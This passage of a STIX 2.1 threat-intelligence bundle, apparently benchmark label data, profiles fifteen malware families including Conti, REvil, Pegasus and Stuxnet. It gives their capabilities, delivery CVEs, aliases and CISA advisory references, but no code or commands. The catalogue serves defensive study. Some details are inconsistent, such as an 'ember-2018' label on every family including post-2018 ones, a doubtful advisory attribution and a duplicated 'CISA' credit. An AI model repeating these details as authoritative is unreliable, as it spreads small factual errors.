      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Lumma Stealer",
        "LummaC2",
        "LummaStealer",
        "Trojan:Win32/Lumma",
        "Win32/LummaStealer",
        "Lumma.C2"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lumma",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lumma"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--41f76b38-86cc-55a2-8f47-7f7baa4cf476",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Asyncrat",
      "description": "AsyncRAT is an open-source remote access trojan (RAT) developed in C# (.NET) that has emerged as one of the most widely deployed commodity backdoors by cybercriminals, initial-access brokers, and advanced persistent threat (APT) groups. Created originally as an open-source administrative utility and published on GitHub, AsyncRAT is designed to provide persistent, asynchronous remote management across TCP/IP networks utilizing TLS/SSL-encrypted socket communications. The client is architected to be extremely lightweight and modular, utilizing asynchronous I/O multiplexing (async/await) to maintain stable connections with low resource overhead. Threat actors weaponize AsyncRAT with extensive surveillance and control capabilities, including kernel keystroke logging via SetWindowsHookEx, live desktop streaming, webcam and microphone capture, dynamic process injection, remote command execution via cmd.exe and PowerShell, file manager interaction, and automated credential theft from web browsers and email clients. Furthermore, AsyncRAT features built-in defense evasion and anti-analysis modules: it inspects system metrics for virtualization environments (VMware, VirtualBox, Sandboxie), queries for defensive antivirus processes, and executes process hollowing (T1055.012) to inject its payload into legitimate Windows binaries such as RegSvcs.exe, RegAsm.exe, or MSBuild.exe. Operators distribute AsyncRAT through malicious spam campaigns delivering weaponized Office documents exploiting CVE-2017-11882 or CVE-2022-30190 (Follina), multi-stage PowerShell loaders, and malicious OneNote (.one) attachments. Defensive telemetry indicates that AsyncRAT continues to evolve, incorporating polymorphic obfuscation via ConfuserEx and custom string encryption routines to persistently challenge security analysts and automated sandboxes. (Observed samples in benchmark: 95)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "AsyncRAT",
        "Async RAT",
        "Backdoor:MSIL/AsyncRAT",
        "Trojan.MSIL.AsyncRAT",
        "Win32/AsyncRAT",
        "AsyncRAT.Client"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Asyncrat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/asyncrat"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA21-209A"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7b49dbd3-c724-5221-8454-0da0ac2438c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Stealc",
      "description": "Stealc is a lightweight, fully featured information stealer written in C that emerged in January 2023 on Russian-language cybercrime forums, rapidly gaining adoption as an affordable and potent alternative to Vidar and Raccoon Stealer. Created by a developer known as 'Plymouth', Stealc was explicitly modeled on the functional architectures of Vidar, Raccoon, and Mars Stealer, refining their modular downloading approach. Stealc relies on a small initial stub (often less than 80 KB) that performs comprehensive anti-analysis checks, verifying that the infected system is not running in an analysis sandbox, emulator, or CIS (Commonwealth of Independent States) locale. Once environment validation succeeds, the stub contacts its centralized command-and-control server via HTTP POST to retrieve dynamic extraction rules and legitimate third-party dynamic link libraries (such as sqlite3.dll, freebl3.dll, and nss3.dll) required to parse browser SQLite databases in memory without tripping endpoint detection. Stealc harvests credentials, autofill data, credit cards, and browsing history from over 75 web browsers, sweeps for 25+ desktop cryptocurrency wallets and 75+ browser Web3 wallet extensions, and exfiltrates session tokens from Discord, Telegram, and Outlook. Distributed through YouTube tutorials promoting software cracks, SEO-poisoned search results, and phishing archives exploiting CVE-2023-38831, Stealc finishes its routine by uploading an encrypted ZIP archive of stolen logs to the C2 and self-terminating via a command-line script that securely deletes the implant binary from disk. (Observed samples in benchmark: 45)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Stealc",
        "Stealc Stealer",
        "Trojan:Win32/Stealc",
        "Win32/Stealc",
        "Trojan.Stealc"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Stealc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/stealc"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--af11e5cf-a53b-59a2-93db-1d69b913313d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bumblebee",
      "description": "Bumblebee is a sophisticated, enterprise-grade modular malware loader first discovered in March 2022 by Google Threat Analysis Group (TAG) and Proofpoint researchers. Authored in C++, Bumblebee was engineered by top-tier Russian cybercriminal developers to replace BazarLoader and TrickBot as the primary initial-access vector for elite ransomware syndicates, including the Conti syndicate, Quantum, and BlackCat/ALPHV. Bumblebee is delivered almost exclusively through high-volume corporate email phishing campaigns, weaponized ISO/VHD disk image attachments, and search engine malvertising campaigns deploying weaponized installers or exploiting CVE-2021-40444 and CVE-2022-30190 (Follina). The loader is architected for stealth and longevity: it executes anti-analysis routines verifying hardware CPU cores, hypervisor strings, and sandbox MAC address prefixes before executing. It stores its internal configuration strings encrypted with custom RC4 keys and communicates with C2 servers over HTTPS using randomized paths and WebSockets. Bumblebee's primary function is initial access reconnaissance and payload staging: it queries local Active Directory domain topology using Windows WMI and LDAP, checks whether the host is domain-joined, and executes downloaded dynamic payloads directly into memory via process hollowing (T1055.012) into svchost.exe, explorer.exe, or rundll32.exe. Payloads staged by Bumblebee include Cobalt Strike beacons, Meterpreter shells, SystemBC proxies, and Sliver implants, paving the direct path for domain-wide network takeover and enterprise ransomware deployment. (Observed samples in benchmark: 35)",
      "is_family": true,
      "malware_types": [
        "downloader",
        "dropper"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Bumblebee",
        "Bumblebee Loader",
        "Trojan:Win32/Bumblebee",
        "Win32/Bumblebee",
        "Bumblebee.Loader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bumblebee",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bumblebee"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA22-264A"
        }
      ],
      "labels": [
        "loader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e5628676-1ec6-5e21-802d-e95d8c11c637",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Conti",
      "description": "Conti is arguably the most aggressive and professionally structured ransomware syndicate in cybersecurity history, operated by the Russian cybercrime group Wizard Spider from early 2020 until its public splintering in mid-2022. Emerging as the operational successor to Ryuk, Conti operated an enterprise-grade Ransomware-as-a-Service (RaaS) model backed by full-time software developers, HR recruiters, OSINT researchers, and negotiators. Conti engineered a remarkably fast multi-threaded encryption engine: utilizing 32 concurrent worker threads, it achieves rapid parallel encryption using ChaCha20 stream cipher for data blocks combined with an embedded 4096-bit RSA public key to protect the session keys. Conti was staged via elite initial-access loaders, including TrickBot, BazarLoader, and Bumblebee, and weaponized Active Directory vulnerabilities such as Zerologon (CVE-2020-1472) and PrintNightmare (CVE-2021-34527) for rapid enterprise-wide privilege escalation. The group pioneered aggressive double-extortion tactics, leaking stolen corporate data on their 'Conti.News' dark web portal. Conti famously attacked over 1,000 organizations, including healthcare networks, law enforcement agencies, and the national infrastructure of Costa Rica, prompting the Costa Rican government to declare a national state of emergency in May 2022. Following their public pledge of allegiance to the Russian state in February 2022, an anonymous researcher leaked thousands of internal Jabber chat logs ('ContiLeaks'), exposing their corporate organizational chart, bitcoin wallets, and source code. CISA published Alert AA21-265A detailing Conti technical indicators and defensive mitigations. (Observed samples in benchmark: 180)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Conti Ransomware",
        "Conti.News",
        "Trojan.Ransom.Conti",
        "Win32/Conti",
        "Wizard Spider Conti"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Conti",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/conti"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA21-265A"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--826ed0be-ed53-500f-bffd-0919d9688fab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Revil",
      "description": "REvil (also universally known as Sodinokibi and Sodin) was one of the most prolific and technically sophisticated Ransomware-as-a-Service (RaaS) cartels in cybercrime history, operating from April 2019 until its dismantling in late 2021. Emerging immediately following the voluntary retirement of the GandCrab ransomware operation, REvil shared significant code, infrastructure, and core developers with GandCrab, rapidly establishing itself as the premier syndicate on Russian underground forums. Authored in C, REvil employed Curve25519 elliptic curve cryptography combined with the Salsa20 symmetric stream cipher for high-speed file encryption, leaving file decryption impossible without the master private key. REvil was among the very first groups to execute double extortion, launching the 'Happy Blog' leak site to publish exfiltrated corporate trade secrets and financial records when victims refused to pay. The cartel weaponized sophisticated zero-day exploits, culminating in the July 2021 Independence Day weekend supply-chain attack against Kaseya VSA management software. In that attack, REvil pushed malicious ransomware payloads to over 60 managed service providers (MSPs) and encrypted roughly 1,500 downstream corporate networks simultaneously, demanding an unprecedented $70 million collective ransom. REvil also extorted multinational meat processor JBS Foods for $11 million in Bitcoin. In late 2021, an international law enforcement operation coordinated by the FBI, Europol, and Romanian authorities led to multiple affiliate arrests and the seizure of REvil infrastructure, highlighted in CISA Alert AA21-209A. (Observed samples in benchmark: 160)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Sodinokibi",
        "Sodin",
        "REvil Ransomware",
        "Trojan.Ransom.Sodinokibi",
        "Win32/Sodinokibi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Revil",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/revil"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA21-209A"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--25264a00-6f70-5a13-8f45-8b85fc73d76e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Darkside",
      "description": "DarkSide is a notorious Ransomware-as-a-Service (RaaS) operation that surfaced in August 2020, achieving global infamy in May 2021 following its catastrophic cyberattack against Colonial Pipeline, which forced the shutdown of the largest refined oil pipeline system in the United States and triggered a regional state of emergency across the East Coast. Authored in C/C++, DarkSide was engineered as a customized, highly selective ransomware framework catering to vetted cybercriminal affiliates. DarkSide utilizes a multi-threaded hybrid encryption routine combining Salsa20 stream ciphers with an embedded RSA-1024 public key, appending a custom 8-character hexadecimal extension to encrypted files. DarkSide was among the most aggressive early practitioners of double extortion, stealing sensitive internal corporate documents before encryption and hosting them on their 'DarkSide Leaks' dark web portal. Following the immense geopolitical backlash and international law enforcement mobilization resulting from the Colonial Pipeline disruption\u2014during which the U.S. Department of Justice recovered $2.3 million in Bitcoin ransom payments\u2014DarkSide announced its immediate shutdown. However, the core developers subsequently re-emerged under the brand 'BlackMatter' and ultimately founded the notorious 'ALPHV' (BlackCat) ransomware cartel. CISA, the FBI, and CISA released Joint Advisory AA21-131A outlining DarkSide indicators of compromise, C2 infrastructure, and mitigation best practices. (Observed samples in benchmark: 75)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "DarkSide Ransomware",
        "DarkSide.Leaks",
        "Trojan.Ransom.DarkSide",
        "Win32/DarkSide",
        "BlackMatter-Precursor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Darkside",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/darkside"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA21-131A"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5b60645d-0fcc-56c2-9950-d6d21ce8347d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Clop",
      "description": "Clop (stylized as Cl0p) is a notorious Russian-speaking ransomware and extortion syndicate operated by threat group FIN11 (also tracked as TA505 and Lace Tempest) that fundamentally transformed the cyber extortion landscape by pivoting from traditional endpoint encryption to catastrophic zero-day mass data exfiltration and extortion. Emerging around February 2019 as a variant of the CryptoMix ransomware family, Clop operated traditional double-extortion campaigns utilizing RSA-1024 and RC4 encryption to lock corporate servers while threatening to publish stolen records on their 'CL0P^_- LEAKS' portal. However, beginning in late 2020, Clop revolutionized its operational model by targeting enterprise Managed File Transfer (MFT) appliances using weaponized zero-day exploits. Clop executed successive automated mass-exploitation waves targeting Accellion FTA, Fortra GoAnywhere MFT (CVE-2023-0669), and culminating in the historic May 2023 zero-day attack on Progress Software MOVEit Transfer (CVE-2023-34362). In the MOVEit campaign, Clop exploited an unauthenticated pre-auth SQL injection vulnerability to drop custom 'human2.aspx' webshells across thousands of internet-facing enterprise file transfer servers, exfiltrating billions of sensitive records affecting over 2,700 organizations and 90 million individuals worldwide, including government agencies, universities, and healthcare providers. CISA, the FBI, and international partners released Advisory AA23-158A detailing Clop's exploitation of MOVEit Transfer vulnerabilities. (Observed samples in benchmark: 140)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Cl0p",
        "Clop Ransomware",
        "CryptoMix Clop",
        "TA505 Clop",
        "Lace Tempest"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Clop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/clop"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA23-158A"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fcf34339-95bc-5b08-a29e-38d6df4265af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Stuxnet",
      "description": "Stuxnet is widely recognized in military and cybersecurity history as the world's first true cyber weapon, uncovered in June 2010 by VirusBlokAda and subsequently determined to be the product of Operation Olympic Games, a joint intelligence operation by the United States and Israel. Explicitly engineered to physically sabotage the uranium enrichment centrifuges at the heavily guarded, air-gapped Natanz nuclear enrichment facility in Iran, Stuxnet achieved unprecedented technical sophistication that permanently transformed military doctrine and critical infrastructure security. To infiltrate the strictly air-gapped facility, Stuxnet was introduced via infected USB flash drives, weaponizing four separate Windows zero-day vulnerabilities in a single payload: the infamous Windows Shell LNK icon handling vulnerability (CVE-2010-2568), the Server Service RPC buffer overflow (CVE-2008-4250 / MS08-067), the Print Spooler service elevation flaw (CVE-2010-2729), and a Win32k.sys true-type font vulnerability. The worm was signed with stolen digital certificates from legitimate semiconductor hardware manufacturers Realtek and JMicron to bypass driver signature verification. Once inside a network, Stuxnet quietly mapped the environment, specifically searching for Siemens SIMATIC Step7 PLC (programmable logic controller) software controlling S7-300 and S7-400 systems managing frequency converter drives. Stuxnet covertly intercepted and modified PLC ladder logic code: it forced targeted centrifuge rotors to violently speed up to 1,410 Hz (far beyond their rated design tolerance) and then slow down to 2 Hz, inducing catastrophic mechanical stress and destroying approximately 1,000 centrifuges, while simultaneously spoofing normal operational sensor readings to control room monitors. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rootkit.Win32.Stuxnet",
        "W32.Stuxnet",
        "Operation Olympic Games",
        "Stuxnet Industrial Worm"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Stuxnet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/stuxnet"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e37af2df-0927-515c-9230-ee7fed49bf8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pegasus",
      "description": "Pegasus is the most invasive, sophisticated, and technologically formidable commercial mobile spyware platform in contemporary cybersecurity, developed and licensed exclusively to government intelligence and law enforcement agencies by the Israeli surveillance firm NSO Group. Uncovered initially by Citizen Lab and Lookout in August 2016 and subject to worldwide investigative scrutiny in July 2021 by the Pegasus Project consortium, Pegasus is designed to achieve silent, complete remote compromise of Apple iOS and Google Android mobile devices. Pegasus pioneered zero-click remote exploitation: rather than requiring targeted victims to click on malicious phishing links, Pegasus leverages zero-click exploit chains delivered through incoming iMessage, WhatsApp, or Apple HomeKit network streams that execute in the background without triggering any notification or ringtone. Its most famous exploit chain, 'FORCEDENTRY' (uncovered by Citizen Lab and patched under CVE-2021-30860), weaponized an integer overflow in Apple's CoreGraphics/ImageIO library when parsing malformed JBIG2 stream objects disguised inside fake PDF attachments, emulating logic gates in memory to break out of the iOS sandbox and attain complete kernel-level control. Once deployed, Pegasus grants operators total surveillance access: it silently activates the handset's microphone and camera for real-time ambient recording, extracts end-to-end encrypted messaging logs (Signal, WhatsApp, Telegram), harvests emails, photos, contact lists, and calendar records, and tracks GPS location continuously. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Pegasus Spyware",
        "NSO Group Pegasus",
        "Chrysaor (Android variant)",
        "FORCEDENTRY Spyware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pegasus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pegasus"
        }
      ],
      "labels": [
        "spyware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7176d852-7674-5bf0-980c-6d861a1e861e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Raccoon",
      "description": "Raccoon Stealer (also tracked as RecordBreaker, Trojan:Win32/Raccoon, and Race Stealer) is a premier commercial information stealer written in C/C++ that emerged on Russian-language underground cybercrime forums in April 2019. Marketed under an aggressive Malware-as-a-Service (MaaS) rental model for $200 per month, Raccoon quickly became one of the top three most prevalent information stealers in the world alongside RedLine and Vidar. Raccoon was engineered for rapid, multi-threaded credential harvesting: it sweeps across infected Windows endpoints, targeting stored passwords, autofill form entries, credit card vaults, and session cookies from over 60 Chromium and Gecko-based browsers. It comprehensively targets cryptocurrency assets, extracting desktop wallet files (Bitcoin-Core, Electrum, Exodus, Atomic) and over 40 browser Web3 wallet extensions (including MetaMask, Phantom, and TronLink), alongside session tokens from Discord, Telegram, and Steam. In mid-2022, following a brief operational pause due to the Russian-Ukrainian conflict, the developers launched 'Raccoon Stealer v2' (RecordBreaker), entirely re-written in native C with a tiny 50KB footprint, faster string searching, and encrypted C2 communications using RC4 and base64. In October 2022, the U.S. Department of Justice unsealed an indictment against primary administrator Mark Sokolovsky following his arrest in the Netherlands, accompanied by an international takedown of Raccoon's C2 infrastructure and CISA Advisory AA22-297A. (Observed samples in benchmark: 110)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Raccoon Stealer",
        "RecordBreaker",
        "Trojan:Win32/Raccoon",
        "Win32/RaccoonStealer",
        "Race Stealer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Raccoon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/raccoon"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA22-297A"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a94a8591-dd8c-530b-a4f4-323a57d68aa4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bazarloader",
      "description": "BazarLoader (also known in threat intelligence telemetry as BazarBackdoor, BazaLoader, and Trojan.BazarLoader) is a high-stealth, enterprise-focused malware loader and backdoor first uncovered in early 2020. Developed in C++ by the Russian cybercrime group Wizard Spider (the syndicate behind TrickBot and Ryuk), BazarLoader was explicitly engineered to provide an elusive, lightweight initial-access vehicle for penetrating corporate networks while avoiding the heavy footprint and high signature detection rates of legacy TrickBot modules. BazarLoader is famous for pioneering two sophisticated infection methodologies: high-volume reply-chain spear-phishing distributing malicious Word/Excel documents, and 'BazarCall' (call-back phishing), in which victims received professional-looking email invoices for costly subscriptions, instructing them to call a customer support phone number where threat actors social-engineered victims into downloading malicious desktop packages. Once executed, BazarLoader implemented decentralized, takedown-resistant command-and-control communications: it utilized DNS-over-HTTPS (DoH) queries to resolve decentralized blockchain domains registered on the Emercoin (.bazar) peer-to-peer network, completely immunizing its C2 infrastructure against domain seizures by ICANN or law enforcement. BazarLoader performed silent host reconnaissance and Active Directory domain mapping, acting as the primary enterprise delivery loader for deploying Cobalt Strike beacons, Sliver implants, and paving the way for network-wide deployment of Ryuk and Conti ransomware. (Observed samples in benchmark: 80)",
      "is_family": true,
      "malware_types": [
        "downloader",
        "dropper"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BazarBackdoor",
        "BazaLoader",
        "Trojan:Win32/BazarLoader",
        "Win32/BazarBackdoor",
        "Wizard Spider Bazar"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bazarloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bazarloader"
        }
      ],
      "labels": [
        "loader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--294e5150-d3bb-5c54-869f-7d5839e6912f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sasser",
      "description": "Sasser (classified across antivirus vendors as W32.Sasser, Worm.Win32.Sasser, and Win32/Sasser) is one of the most disruptive self-replicating computer worms in the history of the internet, authored by 17-year-old German high school student Sven Jaschan (who also created the Netsky mass-mailing worm) and unleashed on April 30, 2004. Unlike conventional email worms of the era that required users to open an infected attachment, Sasser was completely autonomous: it scanned random IP addresses on TCP port 445 looking for unpatched systems running Microsoft Windows 2000, Windows XP, and Windows Server 2003. When an open system was identified, Sasser exploited a critical stack buffer overflow in the Local Security Authority Subsystem Service (LSASS) via the DsRolerUpgradeDownlevelServer RPC API (CVE-2004-0280 / MS04-011). The exploit triggered arbitrary shellcode execution, opening a remote command shell on TCP port 9996 and downloading the full worm executable ('avserve.exe' or 'avserve2.exe') from the attacking host via an FTP server spawned on TCP port 5554. Sasser caused lsass.exe to terminate with an unhandled exception (status code 0xC0000005), which forced Windows to display a critical system dialog with a 60-second countdown timer before automatically restarting the computer. The worm spread with such exponential ferocity that within 48 hours it infected millions of computers globally, grounding Delta Air Lines flights, closing one-third of post offices in Taiwan, halting satellite communications for French news agency AFP, and paralyzing operations at British investment banks and public hospitals. Jaschan was arrested in May 2004 following a joint investigation by German police and Microsoft. (Observed samples in benchmark: 25)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "W32.Sasser",
        "Worm.Win32.Sasser",
        "Win32/Sasser.A",
        "Sasser Worm",
        "W32/Sasser.worm"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sasser",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sasser"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--95c4d3cf-d083-5ef3-834b-dd4e280a3d97",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Blaster",
      "description": "Blaster (also widely cataloged as MSBlast, Lovsan, and Poosan) is one of the most famous and destructive self-propagating computer worms in internet history, first detected on August 11, 2003. Propagating at machine speed across the global IPv4 address space without requiring any email opening, attachment execution, or user interaction, Blaster scanned random IP subnets on TCP port 135 to find unpatched endpoints running Microsoft Windows 2000 and Windows XP. When an open port was found, Blaster exploited a critical stack buffer overflow in the Distributed Component Object Model (DCOM) interface of the Windows RPCSS service (CVE-2003-0352 / MS03-026). Once code execution was achieved, Blaster spawned an unauthenticated remote command shell on TCP port 4444 and instructed the compromised endpoint to download the full worm binary ('msblast.exe') from the attacking host via Trivial File Transfer Protocol (TFTP) over UDP port 69. The worm payload contained hidden text strings taunting Microsoft's founder ('billy gates why do you make this possible ? Stop making money and fix your software!!'). Additionally, Blaster was programmed to launch a coordinated distributed denial-of-service (DDoS) SYN flood against port 80 of windowsupdate.com starting on August 15, 2003, forcing Microsoft to temporarily take the Windows Update portal offline to protect global internet routing infrastructure. Blaster infected hundreds of thousands of computers worldwide within days, severely degrading internet traffic and accelerating the creation of modern Windows security baselines. (Observed samples in benchmark: 30)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "MSBlast",
        "Lovsan",
        "Poosan",
        "W32.Blaster.Worm",
        "Win32/Blaster"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Blaster",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/blaster"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ad980fd8-1704-5c1c-ad72-efc6aab14571",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Candiru",
      "description": "Candiru (operating under corporate entities Saito Tech Ltd, Taveta Ltd, and Grindavik Solutions) is an Israeli commercial cyber-surveillance contractor specializing in advanced zero-day mercenary spyware targeting Microsoft Windows, with modular extensions for macOS, iOS, and Android. Documented and forensically analyzed in July 2021 by The Citizen Lab and Microsoft Threat Intelligence Center (MSTIC), Candiru's primary espionage implant\u2014tracked by Microsoft as 'DevilsTongue' and internally codenamed 'Caramel' or 'Sherlock'\u2014is weaponized by government customers to execute covert surveillance against high-profile journalists, human rights activists, legal counsel, and political opposition figures across Europe, the Middle East, and Latin America. Candiru specializes in zero-click and precision one-click exploit chains: on Windows endpoints, it weaponized browser remote code execution zero-days (such as the Google Chrome WebRTC flaw CVE-2022-2294 discovered by Avast) chained with twin Windows GDI/win32k kernel privilege escalation zero-days (CVE-2021-31979 and CVE-2021-33771) to escape sandboxes and establish SYSTEM-level execution. Once deployed, DevilsTongue acts as an invasive multi-modular surveillance framework: it hooks process memory to extract end-to-end encrypted chat logs (Signal, WhatsApp, Telegram, Skype), harvests saved browser passwords and active session cookies to bypass Multi-Factor Authentication (MFA), exfiltrates Outlook message spools, captures microphone audio and keystrokes, and executes LSASS memory dumping to harvest Kerberos and NTLM credentials for network lateral movement. (Observed samples in benchmark: 45)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Candiru Spyware",
        "DevilsTongue",
        "Saito Tech",
        "KANDIRU",
        "Caramel Spyware",
        "Taveta",
        "Grindavik Solutions",
        "Sherlock (Internal Code)"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Candiru",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/candiru"
        },
        {
          "source_name": "cisa-advisory",
